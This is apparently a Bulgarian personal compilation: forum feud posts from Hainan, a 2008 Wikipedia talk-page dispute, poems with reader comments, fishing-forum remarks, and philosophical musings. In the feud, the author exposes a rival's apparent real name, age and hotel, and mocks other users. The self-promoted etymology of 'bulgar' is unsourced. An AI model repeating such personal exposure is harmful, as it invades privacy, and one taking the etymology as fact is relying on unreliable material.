(из интервю на Яна Шишкова, цялото интервю тук : china.edax.org/?p=755)
Така сме ние комунистите - личните противоречия не могат да засенчат общата цел - уважението към и борбата за Идеята !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2) САСКО,
не съм ти пожелавал нищо лошо да ти се случва. Ужким си журналист и какво ли не пък не четеш внимателно какво съм писал. Колкото до болестите - болни са тези, дето имат фобии и патологични омрази, не тези, дето са с отворени сърца и обичащи.
Не се излагай, ела в Саня да пийнем по едно за моя сметка и да изгладим отношенията, няма да те изям, нито ще каня на срещата мои приятели полицаи и военни тук. Ако някой те е наплашил, щото то за мен какво ли не се говори, не им вярвай. Абе никой няма да каня - насаме ще се видим.
3) ЛЕЙЛА,
у вас ли си го поканила кандидат-медицинското лице? Душичката ми тя...
4) ИВАНЕ,
ти, че си болен - болен си, ама така и не се научи къде и как се слага пълен член...Видях, че не само от албанци и уйгури, ами и от индианците в Канада се плашиш...Виртуалният ми войн сладък, Иванчо...
5) JJ, те не искат истината, те искат да си налагат само тяхното мнение и да им върви бизнесът. "
---
Kalisto:
" Първоначално написано от SASKO Виж мнението
Ще дойда в Саня, но след китайската нова година! Но не мисля, че ти ще дойдеш да пием кафе или питие, дори за моя сметка! А аз винаги отсядам в един и същи хотел от години -- Resort Intime, Dadonghai Bay. Там се чувствам най-добре. А ти как ще дойдеш от Хайкоу -- далечко е до Саня за едно питие!?! И въпреки твоята дълбока конспирация, мисля че съм виждал лицето ти! Слабичък си, пусто - не те хранят добре, май!"
Ако някой се връзва на приказките на Саско да кажа как стоят нещата всъщност:
1) Опитах се да го адна в Скайпа да поговорим - покри се.
2) Поканих го да дойде в Саня, той отцепи за Индонезия.
3) Сега пък излиза, че аз съм се крил и конспирирал.
Сами помислете кой е психично-зле от двамата.
САШО, ТОЧНО В "ДАДУНХАЙ" ЖИВЕЯ, НА ЮЯ-ЛУ, БЛИЗО ДО ВОЕННАТА БАЗА. ХОТЕЛЪТ ТИ (КОЙТО Е НЯКОЛКО ЕДНАКВИ ПОСТРОЙКИ И Е НАСЕЛЕН ГЛАВНО С РУСНАЦИ, ЧЕ Е ПО-ЕВТИН, ЗА РАЗЛИКА ОТ ЯЛУНВАНСКИТЕ) МИ Е НА 5 МИНУТКИ ПЕША ПО ПЛАЖА. АДНИ МЕ НА СКАЙПА, ЗА ДА СЕ РАЗБЕРЕМ И ДА ВИДИШ СЛАБИЧКОТО МИ ЛИЧИЦЕ. НЕ СЪМ СЕ КРИЛ, АЗ СЪМ ПУБЛИЧНА ЛИЧНОСТ И МЕ ЗНАЯТ ХОРАТА. ЗА ТВОЯ СМЕТКА ЩОМ Е - ОБЕЗАТЕЛНО ЩЕ ДОЙДА. АЗ СИ ПОМИСЛИХ, ЧЕ ПРЕДИ СЕ СТРЕСНА ОТ ПРИКАЗКИТЕ НА ЖЕЛЬО ИЛИ НЯКОЙ ДРУГ ДОБРОЖЕЛАТЕЛ ИЛИ ПРОСТО НЕ ПОЖЕЛА ДА ПОДКРЕПИШ БИЗНЕСА МИ.
Будата също си е изключил Скайпа и е недостижим за пряк диалог. Бива го само да се чепка по форума с недоизкусурените си обиди. Пияндурска история...
Колкото до въпроса де ме е виждал Сашо - Яна му е показала мои снимки, яснo де ме е виждал. Въпросът е, че аз не съм се крил, както и че го каня отдавна, а той чак сега с половин уста прие поканата ми. Да видим кога след Нова година ще се появи и дали няма да ме прати за зелен хайвер, пък после да каже, че той е бил в някоя от сградите на Интайма, ама аз не съм се появил да го намеря. Да се надяваме, че ще се видим. Даже мога да взема една приятелка на бившата си жена да ни заснеме срещата (ако има такава), след това ще я качим в нета да се види кой какво казал, направил, пил... или да се види просто как на посочения хотелски номер ни отваря вратата някой руснак Саша, но не и наш Саско.
От друга страна това е добра идея, за да не може после, ако въобще се престраши да дойде, Саско да си измисля,че не съм бил се държал добре, както излъга за приятелчето от Гуандун, което е посетил, а после по най-неблагодарен начин го оплю във форума.
За сведение - Саско (Александър Радков, 45 годишен) изглежда така:
А ето ме и мен, от малък обичам бойните изкуства, да му се не види!
(снимката е от Дадунхай, ако Саско, наистина е ходил там, ще познае мястото - на 15 минутки от Интайма му е)
Ето и още една, от вкъщи, да ме видите колко съм секси:
"
" Първоначално написано от DrunkBuda Виж мнението
Както винаги в голяма грешка! Скайпа ми е включен денонощно! Диалог с радио не мога да водя! Този, който обижда си ти и точно това е причината да те баннат от всеки един форум където си се регистрирал, с изключение на един и в него не се пише от години.
А аз смятам, че се криеш!"
Аз по-рано си спомням, че даже се беше подписал като НОВИЯ ГЕСЕР и с жена си редовно ме защитавахте, барабар и с Гери Чаова, но после променихте стратегията заради успешното внушение на канадския гражданин и Саско, че Желето съм аз, че Конт40 съм аз и пр. Въпрос на интелигентност и самостоятелно мислене... в тоя смисъл "винаги си в голяма грешка" като мнение спрямо мене, КАЗАНО ОТ ТЕБ, ми звучи като новост.
Не сте се координирали със съпругата си - ТЯ КАЗА, ЧЕ В МОМЕНТА В КОЙТО ПО ЖЕЛЬО УМНИЯ, СЕ СВЪРЗАХ С ВАС на лични, ТИ ВЕДНАГА СИ СИ ИЗТРИЛ СКАЙПА, ЗА ДА НЕ ТЕ НАМЕРЯ. И СЕГА НЕ МИ СЕ ВКЛЮЧВАШ НИТО НА МЕЙЛ, НИТО НА СКАЙП... Познайте, мили деца, кой се крие!
Не заблуждавай хората - не съм баннат от всеки един форум. А и това нищо не показва (дори и да е истина). Навсякъде си има причини и те са различни. Така или иначе в този форум съм се държал безупречно и съм получавал аз обидите първи.
В МОМЕНТА ПАК ТИ ПЪРВИ МЕ ЗАСЯГАШ КАТО ТВЪРДИШ, ЧЕ ИМАМ РАЗДВОЕНИЕ НА ЛИЧНОСТТА, нали? Който има съвест, нека да види кой кого е обидил.
Знам, че не можеш да водиш диалози даже с радио. Аз пък от малък си водя кореспонденция с радиото на Павел и от там съм научил китайски, както и оттам съм получил много подаръци. А вие се изложихте пред младежа, показвайки му истината за българския манталитет - микс от южно славянство, ромска култура, османлък и т. н.
Я ела и ти в Саня, ама самичък, не със Саско (ако въобще той се престраши да се вкарал в приключението, както казва Иван-Смелият канадски койот), да видим дали не се криеш от мене. Обещавам ти културно отношение.
Поздрави: Гесер Айванов Курултаев (преди и след прекръстването на БКП, за сведение на Саско, който като човек от малцинствата би трябвало да споделя подобен опит, а не да се двоуми). "
(Да допълня - Гесер е монголо-татарско и тибетско име; някои теории казват, че може да идва и от "цезар"/"кесар".)
-
Спор с някакъв "Джин гиби" в БГ-Уикипедията (от 2008) на който му се сторило недостатъчно научно моето откритие за значението на "българ":
"Geser Kurultaev
Току-що съзирам, че никът е "Джин-гиби" ("Като дух" на османо-турски, прякор на Васил Левски), та ще обясня на български:
1. Откритието е лицензирано. 2. Дадох линк към научния форум на сп. "Космос", отделно е публикувано и в няколко други форума. 3. Относно Гесер Курултаев (Георги Иванов Русев) : магистър по философия (СУ "Св. Климент Охридски" - 1993-2000 г.), преподавател по чужди езици в Китайската Народна Република (в настоящия момент). 4. След като на страниците на Уикипедията намират място теории като Българин = Смесен , т.е. доста фриволни и ненаучни, едно подобно, на Алтайска база откритие би било редно да се постави, за да са информирани хората.
Поздрави! —Preceding unsigned comment added by 221.11.217.181 (talk) 20:49, 22 June 2008 (UTC)
Please, provide the existing of such a scientist and his new theory or this pasage will be deleted! Jingby (talk) 18:10, 20 June 2008 (UTC)
Excuse me, but your proof is only an IT forum on address wich has been blocked as spam from the spam filter of Wikipedia. Geser Kurultaev [2] is only a person with Sofia University degree as me for example. He is not scientist and the IT forum is not scientifical proof. Wikipedia is not IT forum! Regards. Jingby (talk) 08:53, 21 June 2008 (UTC)
According to a new, Altaic theory by Geser Kurultaev (a Bulgarian-Tatar Philosopher-Anthropologist) the ethnonym "bulgar" is coming from the old, proto-Turkic "Bal-" ("head") and "-gar" ("clan"),i.e. Balgar/Bulgar = "Main clan"; "Leading people"; "Head clan"...[citation needed] (The source is licensed here: http://creativecommons.org/licenses/by-nc-nd/2.5/bg/ and the article can be found in this scientific website: www.kosmos.pass.as/e107_plugins/forum/forum_viewtopic.php?200)
Pleace, provide some scientifical proof about your statements, the above added addresse is not inaf. Jingby (talk) 09:28, 21 June 2008 (UTC)"https://en.wikipedia.org/wiki/Talk:Bulgars/Archive_2#Geser_Kurultaev
-
Вярваш ли?
Ти, който влизаш в църквата и слушаш литургията,
вярваш ли?
Ти, който чукаш на вратата на приятел в нужда,
вярваш ли?
Ти, който не поглеждаш никога назад,
вярваш ли?
Ти, който правиш изкуство за пари,
вярваш ли?
Ти, който целуваш любимата жена по навик,
вярваш ли?
А ти, който си заровил нос в дебели книги,
вярваш ли?
Ти, който пиеш и пиеш, и пиеш, невернико
в какво не искаш да повярваш?
Ти, който поучаваш и крещиш на всички,
вярваш ли?
Ти, който четеш тези редове от скука,
вярваш ли ми?
Ти, който не търсиш помощ за болката си,
защо не вярваш?
А всички ние, които тъпчем на едно място
в една кал-вярвяме ли?
Къде ни е вярата?
Ти, който си чувал плача на новородено.
Ти, който си прегръщал пулса на живота.
Ти, който си обичал до полуда.
Ти, който знаеш Тайната
можеш спокойно да кажеш:
"Вярвам!"
(Написано от Стела Недкова)
Вярвам. Вярвам в хората, когато са човеци. Вярвам всяка сутрин, когато се будя. Вечер се прибирам и не спирам да вярвам. Вярвам и в тайната, макар да не я разбирам. За пореден път чета нещо, което ми харесва. И вярвам, че няма да престана да вярвам в теб, Стела, която наистина сътворяваш красиви неща. Вярвам, че няма да спреш, няма да се откажеш. Оставащ твой фен! Донкин
(Румен Донкин)
Вярата е нещо прекрасно, но пишещите хора са една особена порода, ако мога така да се изразя. Този, който пише споделя с всички свои интимни чувства и лично преживяни неща. И очаква някаква реакция. Ако няма такава значи написаното не е стигнало до сърцето на никого и не е предизвикало дори една емоция, било то и отрицателна. И какъв е смисълът тогава? Явно няма такъв.
(Стела Недкова)
Явно не разбирам нещата по твоя начин. Твърдя, че смисъл от сътворяването има дори когато не е осъществена съвсем по очакванията обратната връзка. Вярно е също и това, че интимността личните преживявания не винаги докосват всички сърца еднакво.
(Румен Донкин)
Няма как да ги докосват еднакво, важното е дали ги докосват. Защото ако отговора е не, тогава аз питам какъв е смисъла? Не от сътворяването, а от публикуването на сътвореното. Аз чета много статии в нета, но коментирам само когато нещо наистина ме впечатли. Предполагам, че и при другите е така. Това имах предвид. Когато имаш хубава дума за някой, кажи му я тук, не в скайпа. Ако ли не...здраве да е.
(Стела Недкова)
Mislja 4e dosta otdavna ne sam 4ela ne6to tolkova dobro.Pozdravlenija za avtorkata!
(Весна Алексиева)
Благодаря ти, Весна за добрите думи.
(Стела Недкова)
-
За любовта на една майка
За любовта на една майка
Когато гледам морето и чувам звука на разбиващите се вълни в скалите, чувствам как синият цвят на водата ме завладява в своята нежна и солена прегръдка.
Тя е толкова мека и силна, както прегръдката на всяка майка. Навремето не можех да си представя живота си без тази жена, а сега години наред живея единствено с мисълта, че тя е някъде на земята и мисли за мен, за своето порастнало дете.
Истината за тази обвързаност е далеч по-дълбока и закономерна, като природата, която е създала подобна връзка. В мислите си често се моля за моята майка и мислено всяка вечер изпращам поздрав с който, да и кажа: “Добре съм мамо!”.
Понякога в молитвите си казвам: “Мили Боже ти направи много, много хора бедни. Осъзнавам и разбирам, че не е срамно да бъдеш беден, но знам, че не може да бъде и голяма чест! Моля се за спасението на моята майка, която понякога тъне в бедност и мъка и какво би станало, ако нямаше толкова много ужас на този свят и ако тази жена имаше поне малко късмет!
Ако бях богат човек, бих дал на всеки скитник хляб!
Ако бях заможен човек, щях да раздам на хората от своята вяра, за да могат да превъзмогнат изгарящата ги завист и себепогубване. Всичко това е свързано с малко късмет, мъничко късмет!
Ако бях богат щях да построя на моята майка голяма къща с много стъкла, за да може слънцето да влиза и да праща онзи мой таен поздрав, който всяка вечер шептя: “Добре съм мамо!”.
Ако можех да подаря подобна радост на тази жена, бих дори засадил две дървета, за мен и мама. Истински, с широки корони, за да могат с шумът на листата да предават посланието на вятъра: “Добре съм...”
Животът е изящна дълга стълба отиваща нагоре, към неизвестността. Тя просто те изкачва там – нагоре, а връщането назад е връщане към никъдето, в живота на ужасното “шоу” наречено живот. С очите на влюбен мъж дарявам моята съпруга, моето злато, моето богатство с нежна целувка, така както тя дарява обичта си към децата ни.
Тя е моето сърце, моята наслада, тя е тази, която е безмерно щастлива и обичана. В миг, се запитах: “Децата ни пращат ли нощем, като онзи поздрав, който аз отправях към мама? Поредната мистерия или настроение, което преобръща нощта в ден. Прекарвам пръсти през косата си и намествам мислите в главата си, бавно осъзнавам, колко е трудно да повярваш, че можеш да загубиш един ден някого? Това е присъщо и за бедни и богати!
Ако бях богат, бих се молил във времето, всички да бъдат здрави и щастливи!
Ако бях богат, щях да преобърна времето, за да мога да компенсирам липсата с най-любимите ми хора.
Ако бях богат, щях да се моля! Или може би щях да отида отново до Великата китайска стена, Тадж Махал, или да крещя в неистовият шум на водите в Ниагарският водопад.
Ако бях богат щях да науча хората да си служат с книгите така, че всички мъже да бъдат смирени и да не водят войни. Когато гледам морето и чувам звука на разбиващите се вълни в скалите, чувствам как синият цвят на водата ме завладява в своята нежна и солена прегръдка. Оранжевият залез на лятното слънце ме гали с последните меки лъчи.
Искам да Ви помоля всички, “Обичайте се!” Обичайте децата си, галете ги, милвайте ги и незабравяйте да им кажете, колко много ги обичате!
Така, както аз искам да кажа – “Мои малки съкровища, татко много ви обича!”, а те ще ме погледнат с онзи нежен детски невинен поглед и с усмивка, за да ме прегърнат.
Така някога аз прегръщах мама, а за любовта на една майка всеки знае, всеки копнее, всеки знае какво означава.
(от Росен Алексиев)
Много нежно и красиво си го казал. Наистина любовта на една майка е безгранична като вселената. И аз бих се включила в призива ти- Обичайте се! Има ли нещо по-красиво от любовта?
(Стела Недкова)
Гласувам за тази твоя публикация, Росене. От пръв прочит в блога ми стана любима преди време.
(Румен Донкин)
-
За процентите и хората
За процентите и хората
"Човек прекарва трийсет процента от живота си в сън. През останалите седемдесет процента мечтае да се наспи"
Статистика от "Времето е преброено" - Презрамка Катарамова - 2000
...
(от Румен Донкин)
-
По повод на рибарското ми стихотворение от 2010 в един друг форум - "Аз не съм рибар, но много уважавам тоя занаят, затова ето един мой пресен стих за рибарите, както и няколко други, не-рибарски творения
В града е много жежко,
Живея много тежко!
На село се преместих,
Багажът си изместих!
И купих мрежа, куки!
Дано е на сполука!!!
Защото там, на село-
Рекичка тече смело!
Реката е живот!
Водата е живот!
Без вода, без риба -
Едва ли ще ни има!
И казах си тогаз:
"Рибар съм, Боже, аз!"
На село и със риба -
Не ще ми трябва нива!
Не щеш ли - ей така!
Съседката изникна!
Лелей! Баш сега ли
Майка й я викна!?
Съседката е гот!
в лицето е красива!
А тялото й - "Бог"!
Същинка, морска Дива!
А майка й - скумрия!
Дан' кажа - "шафрантия!"
От риба не разбира;
И тъпо се навира!
Какво пък толкоз има,
Ний двама във захлас
С съсдеката - пленила
Сърцето ми, от раз -
Да си поговорим,
Да си споделим,
Да си отговорим-
Кой кому е мил?
Варай! Заеби го!
Майките са тъй:
Пазят си момите!
Нямат май акъл!
Казах им аз смело:
"РИБА АЗ ЛОВЯ!
Вие сте от село!
Ето я стръвта!"
Те ми не повЕрваха
Аз пък окъснях!
И във тъмна доба,
Рибата съзрях!
Плуваше в реката.
И беше голяма!
Кършеше снагата.
Оха! Грешка няма!
Щука, Шаран или Змей -
Дреми ми на Моя!
"Ще те хвана бързо, ей!
Ти ще си баш МОЯ!"
Хвърлих мрежата тогаз,
Хванаха се много!
Гледам ги аз във захлаз-
Жаби във неволя! :(
"Бах'го!" - викам си-
Защо ли не бях във Италия?
И в Китай да си,
То пак, жабата е мания!
Хвърлям пак за риба - йок!
Няма си и няма!
Казвам си - "Карък си, мой!"
Бягай ти за мряна!
После взех си въдичката,
Сложих й примамка!
Хвърлих малко тесто, тъй-
"Удавник - и за сламка!"
Хванах 2-3 рибки аз
Казах си - "Това е!"
Риба-скара до захлас!
Всичко е наяве!
Ето вече, в полунощ,
Барбекю приготвям!
Тя ме гледа в тъмна нощ
И ми се кикоти!
"Яла, батко, погледни-
Колко риба има!
Всеки ден ще ни дари,
Реката голяма!"
И тя идва, и ядем,
И ме гледа мило...
Ех, либодото съвсем,
Ме надърви диво!
Тя видя го - по-голям
Даже от скумрия! :lol:
И понесе замечтано,
Мислите си диво...
После, знаете какво
С нази там се случи,
Млад рибар - какво, защо?
Нека се поучим:
Щом си готин и рибар си
Няма начин, братче,
Да не пипнеш ти
Отблизо някое пут*че :)
*********************************************
Ето и едно от най-сериозните му произведения:
"Не смея да ти кажа аз “Обичам те!”, защото слаби думи са за чувството у мен!
Не смея да целуна устните ти пламенни, защото моите не ще покажат огъня във мен!
Не смея със ръце да те прегърна, прегръдките не ще покажат сладкия ми плен!
ОЧИ ОТ ТВОИТЕ АЗ БЪРЗО ЩЕ ОТВЪРНА, но ще горя, макар отвън да съм студен…
А толкова ще искам да те имам,
В сърцето ти да бъда твой, един!
И ти да бъдеш моята принцеса,
А аз - твой верен ангел - Херувим!”
:)
Хайде, на слука! :)
_____
* Авторът се разграничава от лирическият си герой и призовава да не се държите бракониерски като него :!:", един човек (с ник "stich") писа, че още във втория куплет откривал склонност към бракониерство! :D Аз отговорих: "Ами какво да се прави, лирическият герой е правно-неграмотен и смята, че "рибата е на всички като въздуха" :lol:
Иначе аз не съм той. Ловил съм риба само 1 път, като малък, когато държах въдица с плувка 5 минутки :D . После ходих и на риба с един чичо, който хвърляше мрежата и все улавяше жаба :lol: , та от там този спомен за жабите...".
-
Нещо, което (напълно) се отнася сега за този форум: "Не само това, аз съм го казвал и преди - форумът просто си е единствен, към днешна дата, по рода си!
Харесва ми доста!!!" (Писано за друг форум, но вече с пълна сила си важи и за този!) 8)
-
Мнението ми от 2010 за нощния риболов:
"Не съм запознат с риболова, абсолютен дилетант съм. Но, предвид това, че:
1) Хората се делят на сови и чучулиги, т.е. на някои им е по-добре да работят (вкл. да риболовстват) денем, а на други нощем;
2) Някои хора са супер-заети през деня;
3) На рибата, щом ще бъде уловена и (евентуално изядена, ако не е за спортния риболов!) й е все едно,
ТО НЕКА СЕ РАЗРЕШИ. Още повече, че, както казвате - "...почти в целия ЕС е разрешен нощният риболов"...
Та така..."
След това, доколкото знам, в определените водни обекти, нощен любителски риболов се разреши за определено време през годината, но който иска да се занимава с това и/или да знае повече - да си потърси повече актуална информация, защото аз наистина не се занимавам в риболов. Просто се присетих преди малко за риболова, когато четох за прабългарите, че се занимавали освен с животновъдство и със земеделие, и с лов и риболов.
-
Продължавам с друго риболовско от 2010 - за експериментирането и научния подход в тази дейност: "Добре, де...Проведете 1 експеримент - ти лови на тапи, а приятелят ти, в близост до теб, нека лови по стария начин. И така в период от 1 седмица или, сумарно 7 дена. После сравни уловеното количество. Ако има над 10-20 % разлика, проведете пак ексиперимента и, ако пак има 10-20 % разлика в полза на тапите, действайте само на тях, така е що-годе резонно да се процедира с нещата в риболова, а в във всяка една човешка дейност, ми се струва." (По въпроса "Сигнализатор срещу тапа".)
-
Относно раните и инфекциите (по рибите в случаи, но то важи и за другите животни): ветеринарен доктор каза един човек (с ник "rogera"), че е и е учил, че всяка рана нанесена на рибата е входна врата за микроби-причинители на най-различни заболявания, а всички знаем какво означава една заразна болест по рибите. Аз отвърнах "Ами правилно. Добре си отбелязал за "входната врата" на инфекциите!" (а темата беше по-широка - за "Забрана за риболов с гола тройка", от 2009 г.)
-
Относно един "ЧИД!" ("Честит Имен ден!"), от 2010, писах: "ЧЕСТИТО И ОТ МЕН! И НА СЛУКАААААаааа!" (Последното означава "На слука!", с удължено "а", т. е. като радостно извикване/подвикване. :) )
-
Неща от философ (или поне философстващ човек) с ник "Valentino" (от 2009 година са и тогава съм си ги чел и на някои дори отговарял онлайн, а сега каквото е запазено, споделям тук):
1.
С фактите се занимава позитивизмът. Негативни факти не може да има. Ала съществуването не е тъждествено на фактическото съществуване. Логиката не изчерпва живота. Позитивизмът не се припокрива с философията... Та оттук въпросът съществуват ли негативни факти израства до: как съществува не-фактическото? (Не-фактическото не може да бъде какво - то бива как.)
-
2.
Дейвид Хюм доказа (фактически) нефактичността на аза, ала, отъждествявайки съществуване и фактично съществуване, побърза на основание на достоверното си философско наблюдение да провъзгласи аза за несъществуващ. Та, откритикувайки Хюм, Кант изведе съществуването на аза за трансцендентално-аперцептивно (възможността, условието за перцепция). Нали?
-
3.
Обаче Кант също, макар и само терминологически, отъждествява съществуване и фактично съществуване, доколкото в кантианското (трансценденталистко) положение "аз мисля" присъства имплицитно анти-картезианското (че не и просто антидогматичното) "мисля, та следователно не съществувам". И ето в какъв смисъл Сартр, екзистенциалистът, се връща към Декарт, прогласявайки: "Няма друга истина освен: cogito, sum" - акцентирайки върху интенционалното, насъщното, присъствено-субстанциалното на "мисля" ("уплътнявайки" хусерлиански Кант). Нали?
-
4.
Сартр се явява един "позитивен екзистенциалист" - в отлика спрямо терзателния, скрупульозен и нерешителен, деликатен (дневниците!) Киркегор. (Религиозна непоколебимост псевдонимичният К. си придава изотвън, сиреч. спроти своята нагласа, доктринерски.)
-
5.
От това, което ми пишеш, разбирам за едно класическо, абстрактно, неекзистенциално, анти-хайдегерианско (и дори: анти-хусерлианско) разбиране за битие. Т. е. не говоря за такова (битие), за какаквото говориш ти. Та:
- Сартровата позитивност привиждам в бунта му срещу схващанията за практическо и теоретическо ("чисто", познавателно) предопределение;
- Сартровата субстантивност привиждам в неговия (хайдегериански) почин към (в стила на феноменологичната онтология) онтология накъм мисленето.
(Не съм чел Сартр, но - на основата на това, което съм подочул - се опитвам да си въобразя, че съм го чел.)
-
6.
Констатацията "виждам, че Пиер го няма" е логически ирелевантна, тя бележи един онтичен "потрес" от "разбито" очакване (емоционалността е само атрибут). Пиер го няма там, но същевременно биването му там е тук. Да, не иде реч за острумно позитивистко онагледяване на логически парадокс, а за жива илюстрация на екзистенциален абсурд. (Битийната "дупка" е все таки во истине битийна, нежели оригиналничене с име за логическа нула.)
-
7.
Т. е. не че, видиш ли, "как може нещо да бъде твърдено в неговото нямане" ("негативен факт: парадокс, любопитна и занимателна позитивистка задача"), а: "Боже-Господи, как може едно мое очакване да не се сбъдва!"... Логико-онтологичната пропозиция "Пиер го няма" твърди изпървом, че, божем, ето го на него, Пиер; а едва отпосле тя прибавя, че същия този имащ го Пиер го няма. Пиер го има нямайки го. Но не че в изречението "има" и "няма" са амбивалентни - "няма" играе ролята на сказуемно определение на неявното "има"... Там е работата обаче, че в Сатровата уста "Пиер го няма" не е някаква си логико-онтологична пропозиция.
-
8.
Киркегор би навярно рекъл (в отговор): "Нека не се разочароваме от или отчайваме за Пиер, нека вярваме, че го има - за Бог всичко е възможно, та дори и невъзможното да прави възможно... Христос воскресе из мертвих."
-
9.
Ах, бедни ми Пиер!... Впрегнаха те, обезличиха те в семантика, най-обикновено нарицателно.
-
10.
(Ако ще говориш в логико-позитивистки аспект, то, мисля си, иди си какнижи стандартизирани семантични рисунки ("математически формули") с г-н Пенчо Вълев. Да, логико-позитивисткото говорене изисква мъртви тиренца, точки, кръстчета, цифри и пр., отпращащи отправно-значещо към т. нар. метафизическа област на понятията и принасящи полза и ориентация в света. Всяко онагледяване и живописване звънва мигом в ушите ми и блясва в очите ми като "чиста монета", насъщна метафора.)
-
11.
Свободата не че е едно отрицателно нещо, а едно положително нищо. (Напр. заявяваното твое предпочитане.)
-
12.
Свободата не че е "отрицателен факт", а воля, положителен не-факт. - В този смисъл екзистенциализмът е позитивизъм. Към фактите свободата се отнася избиращо.
-
13.
Отрицателната на свободата нефактичност е илюзията, все-нещо-повечето (link).
Не е възможно да съществуват негативни факти!
-
14.
Г-н Фреге,
Ти, изглежда, употребяваш думите факт, нещо и пр. не само в синонимична връзка, но и съвсем нестрого, като фактите, нещата негласно приравняваш с онтичното, схващайки негативното строго в оценъчен аспект, а нищото - строго в логическо спрежение.
Онтичното не е тъждествено на фактите, нещата и т. н. Свободата съществува, но тя въобще не е факт, нещо, нито е логическо нищо или пък някакво оценъчно дистанциране на човека ("отрицателно нещо"), оттласкване. Свободата е воля, едно екзистенциално положително нищо, което полага във фактите, нещата и т. н. ценности, за да привлече, усвои, асимилира, проникне, прониже, зароби света и стане едно с него. Неин екзистенциален антипод е илюзорността, съзерцанието.
15.
-
Логиката е инструмент на свободата.
-
16.
Атрибут на факта в класическото понятие за факт е фиксацията, т. нар. snapshot - фактът е нещо пределно точно, ясно, откроено и (в макроаспект) статично. Но ето и едно (представено от г-н Фреге) модерно понятие за фактичността, т. е. не и набор, множество от факти, а тъкмо фактичност - от която израстват, "набиват се на очи" средоточия, т. нар. факти. Фактичността като онтичен грунд, основа на... фактичността. "Фактичността е фактична" - тази пропозиция, бидейки тавтология, не притежава съждителна стойност. Но как "фактичността е фактична" именно бива? Фактите, изглежда, имат своя нефактичност, свое светуване, своя отрицателност. Та доколкото отрицателността е все таки фактична, дотолкова тя не е субективна; но доколкото пък е нефактична, дотолкова не е и обективна. Фундаменталното епистемологично разделение субект/ обект се снема - предвид отрицателността на фактите. Т. е. отрицателността на фактите е онтичен феномен, тя не е събирателно наименование за вид факти, "отрицателни факти", които (позитивистки) се нареждат до "положителните", а онтичната характеристика на всички възможни факти, условието за съществуване на факти. Фактът е интенционален. Не е възможен отрицателен факт.
-
17.
(По повод достъпните за "стилистиката" на математическото остроумие форуми псувам всеки път.)
-
18.
Философът-хищник
Засмя се пролетта -
проекция на твоята усмивка.
Обичам те по зимному,
по зимному фуча.
Че не за мене грейна ти,
а грейна ти за пролетта.
И завидях ней - зима бях
и зима съм сега.
Философът-хищник, похитителят на усмивки, възхищаващият се от злото... Всичко това започва от един сърдит, завистлив, подозрителен поглед към усмивката: може ли усмивката да не бъде невинна и все таки да бъде усмивка? Да не бъде сърдечна и все пак да бъде от сърце? Но този път ще заобиколя Чезаре Борджия и пиратите и великата метафора за волята към мощ и ще се отправя в откровено некрофилска посока.
Философското мизантропично чувство за хумор: битието като смешното... Чувствеността, потенцията да се смеем, е нефилософска поставеност: поставеност към будещо смях нещо. Смехът не философства. Философеещият е в отношение към смешното като към Великата маска (битието като изсмятото, смехът като изсечена в онтичната безизразност праформа). Та оттук: най-философичният модус на смеещото се е сардоничното. Какво се крие зад моята сардонично застинала усмивка? - Пита във философска рефлексия себе си философеещият. - Аз съм жив; кое я отличава спрямо гримасата на умрелия от тетанус (зад която не стои нищо повече от спазмирал труп) или зъбенето на маймуната (което не се състои в нищо повече от физиогномика на натурата, безличие)? В сардоничната усмивка се разбужда философският страх: философското "чувство за хумор", заключено в редуцираното феноменологически до ступор съществуване. На английски език има една много хубава дума за сардонична усмивка: grin. Казвам към сардонично ухиленото си лице: "Grin 'til I lose myself!" ("хили се, докато изгубя себе си!"), по един песенен рефрен.
Сардоничната усмивка е еманацията на виновната усмивка. "Grin 'till I lose myself", говори вината в усмивката и неистово се нахвърля ней в нарастваща сардоника. Понеже смехът не търпи отчуждение, а пък ето че тук отчуждението е налице тъкмо в смеха... Само човекът - редом с боговете - може да се смее. Смехът исконно е израз на невинност, наивност на духа, бидейки атрибут на "човешката семка". Но Грехопадението о-винява духа, а респективно - и смеха. Поставя ги под опеката на Христа. Че смехът би следвало да бъде автоматично снет при грехопадителното овиняване на духа: един вече сериозен, скучен си, съзрял, недоумяващ, интенциран, празен, формален, просъхнал откъм дръзновение дух... Протестантската етика... До ден днешен ние, хората, можем да се смеем непринудено, ала пренесени в отварящото се между глупостта и остроумието пространство на профанизиралата наивност. Та в автентиката си смехът ни днес не може да бъде непринуден. И ето парадокса!... "Grin 'till I lose myself", вината импрегнира грехопадналия дух... Един не само логически, ала и екзистенциален парадокс: ще се смея! Насила, но ще се смея божествено!... Тя тъй божествено се смее... Не е човек тя, паднала богиня, countess Bathory, човекът-хищник, чистата непринудена естетическа стойност на греха. (Психоаналитическата естетика се произнася за "перверзната усмивка", а бихейвиористичната - за "извинителна усмивка".) Съществуването се нуждае от оправдание: нужда, извиквана от виновността на духа. Човекът-хищник не може да бъде оправдан другояче от философа, освен естетически.
Графиня Батори или Андрей Чикатило? Кому да се възхищава философът-некрофил? Кой от тях двамата е естетически по-адекватен на истинното зло (човешкото хищничество)? По силата на естетическата (естетическата, не и естетската!) индиферентност на либералистката политическа реалност Батори е сводима към Чикатило – при извършване на профанизационна редукция. Което ще рече, че либерализационната интенция на Батори разклаща истината на Батори - доколкото истината на Батори е податлива на истината на Чикатило. Ала истината на Чикатило не е цялата истина (на злото)... Сводим ли е обаче Чикатило към Батори (обратното движение)? По никакъв начин. Да, поради естетическата претенция на обратния преход Чикатило “упорито” си витае тук, бидейки Чикатило, а Батори, разбира се, си пребивава “там”, непокътната. И все таки ги обединява неуловимият и неведом фундамент на злото... Ето как в този обратен случай истината на Чикатило си остава истината на Чикатило, а истината на Батори – истината на Батори. - Феноменологическото условие истината на злото да се съхрани в своята насъщна скритост и да бъде такава, каквато е: истина на злото, неистината на просветлението.
(http://www.ulliswelt.com/dateien/pics/Cachtice/0elizabeth.JPG)
Графиня Ержебет Батори, човекът-хищник от плът и кръв
-
19.
Уточнение: "смешното" = "битието под определение на смеха". И не че философът преживява в смях битието, ала че в усмивката философът разпознава битие. А оттук - сардоничното като философичният модус на смеха, а самият философ - като рефлектиращ върху сардоничната си усмивка... Та тази специфична рефлексия наричаме "философското чувство за хумор", което визионерски похищава звънливия детски смях.
-
20.
Главите на някои видове животни стоят забити и душещи към земята.
...
И си мисля как пък на някои хищници (големите котки) взорът е отправен остро в далечината, а на някои минувачи погледът - тъпо сведен към тротоара.
...
-
21.
